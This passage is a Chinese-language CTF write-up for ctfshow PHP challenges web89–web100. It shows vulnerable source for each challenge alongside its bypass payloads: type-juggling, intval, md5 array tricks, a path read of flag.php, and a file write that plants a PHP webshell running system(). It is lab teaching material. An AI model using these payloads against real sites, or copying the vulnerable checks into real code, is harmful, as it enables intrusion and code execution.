===
比较类型和值,是强比较
==
只比较值,是弱比较
目录
web89-数组绕过preg_match
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
知识点:preg_match — 执行匹配正则表达式
具体,看这里
当匹配数组返回false 进行绕过
payload
?num[]=1
web90-intval函数
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
知识点:
intval — 获取变量的整数值
通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
具体,看这里
payload
?num=4476a
web92-intval八进制,十六进制,科学计数法绕过
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
同样考点是intval ,但这道题不同于web90,而是弱比较
用到进制转换
进制转换工具 看这里
这里用到十六进制0x117c
八进制010574
也可以科学计数法4476e2
(因为在第一个if
会计数比较,在intval
函数中会被看做字符串)
web93-intval八进制绕过
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
过滤了字母,但我们可以使用八进制010574
web94-空格,小数点绕过
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
知识点:
strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
注释:strpos() 函数对大小写敏感。
注释:该函数是二进制安全的。
strpos
函数限制了传参第一位不能为0
仔细观察这里是强等于
我们可以在八进制前加一个空格
?num= 010574
或者用小数点
?num=4476.0
web95-空格加八进制绕intval
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
增加过滤了.
构造空格+八进制
?num= 010574
也可以
?num=+010574
?num=%2b010574
web96-绝对路径相对路径
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
可以看到不能直接等于flag.php,
但是我们可以构造路径让它显示
?u=/var/www/html/flag.php
?u=./flag.php
web97-md5数组绕过
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
这里是===
==
的话可以百度有好多md5加密后是0e开头的,弱比较 0=0
强比较
如果传入md5 函数的不是字符串而是数组,那么就会返回null, null=null绕过。
payload
a[]=1&b[]=2
还可以是md5强碰撞
具体可以看这里
还有这里
web98-三元运算地址引用
Notice: Undefined index: flag in /var/www/html/index.php on line 15
Notice: Undefined index: flag in /var/www/html/index.php on line 16
Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
php三元运算符代码格式如下:
(expr1) ? (expr2) : (expr3);
解释起来也很简单
如果条件expr1
成立,则执行语句expr2
,否则执行expr3
同时 php三元运算符也可以嵌套使用 但是 可读性 就不太行了
但是 胜在简捷
应该注意的是:
在使用三元运算符时,建议使用print
语句替代echo
语句
三元符运算和传址(引用)
$_GET?$_GET=&$_POST:'flag';
//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)
那么看最后要求$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__
那么我们就可以直接随意get传参一个,然后post传参HTTP_FLAG=flag 即可获得flag.
<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地
址)
}else{
"flag";
}
if($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
}
if($_GET['flag']=='flag'){
$_GET=&$_SERVER;
}else{
'flag';
}
if($_GET['HTTP_FLAG']=='flag'){//需要满足这个条件就可以输出flag
highlight_file($flag);
}else{
highlight_file(__FILE__);
}
所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数
具体可以看这里
还有这里
web99-in_array()漏洞
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
in_array()函数
定义和用法
in_array() 函数搜索数组中是否存在指定的值。
注释:如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。
具体可以看这里
当没有设置第三个函数时,比较是会自动转换数据类型,也就是==
/?n=1.php
# post
content=<?php system('cat flag36d.php');?>
web100-运算符优先级,反射类
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
Notice: Undefined index: v1 in /var/www/html/index.php on line 17
Notice: Undefined index: v2 in /var/www/html/index.php on line 18
Notice: Undefined index: v3 in /var/www/html/index.php on line 19
php =
的运算符比 and
高